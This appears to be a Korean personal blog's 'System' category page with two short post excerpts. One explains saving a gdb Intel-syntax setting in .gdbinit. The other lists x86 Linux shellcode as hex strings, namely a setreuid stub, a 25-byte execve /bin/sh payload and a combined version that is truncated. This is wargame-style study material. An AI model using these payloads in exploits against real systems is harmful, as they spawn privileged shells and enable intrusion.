System
-
gdb 설정 저장System 2014. 5. 14. 16:01
리눅스에서 gdb로 분석을 시작할때, intel문법으로 보기 위해 set disassembly-flavor intel 라는 명령어를 이용하는데 매번 gdb를 실행할때마다 세팅해야 해서 불편하다. 검색해보니 역시 gdb 설정을 저장해둘 수 있었다. 홈 디렉토리 아래에 .gdbinit이라는 파일을 생성해서 원하는 세팅을 저장해두면 된다. user@protostar:~$ vim .gdbinit 여기에 원하는 설정을 작성하고 저장한다. set disassembly-flavor intel
-
ShellcodeSystem 2013. 6. 18. 11:25
// 16 Byte, setreuid( geteuid() , geteuid() );\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80 // 25 Byte, shellcode\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 // 41 Byte\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0..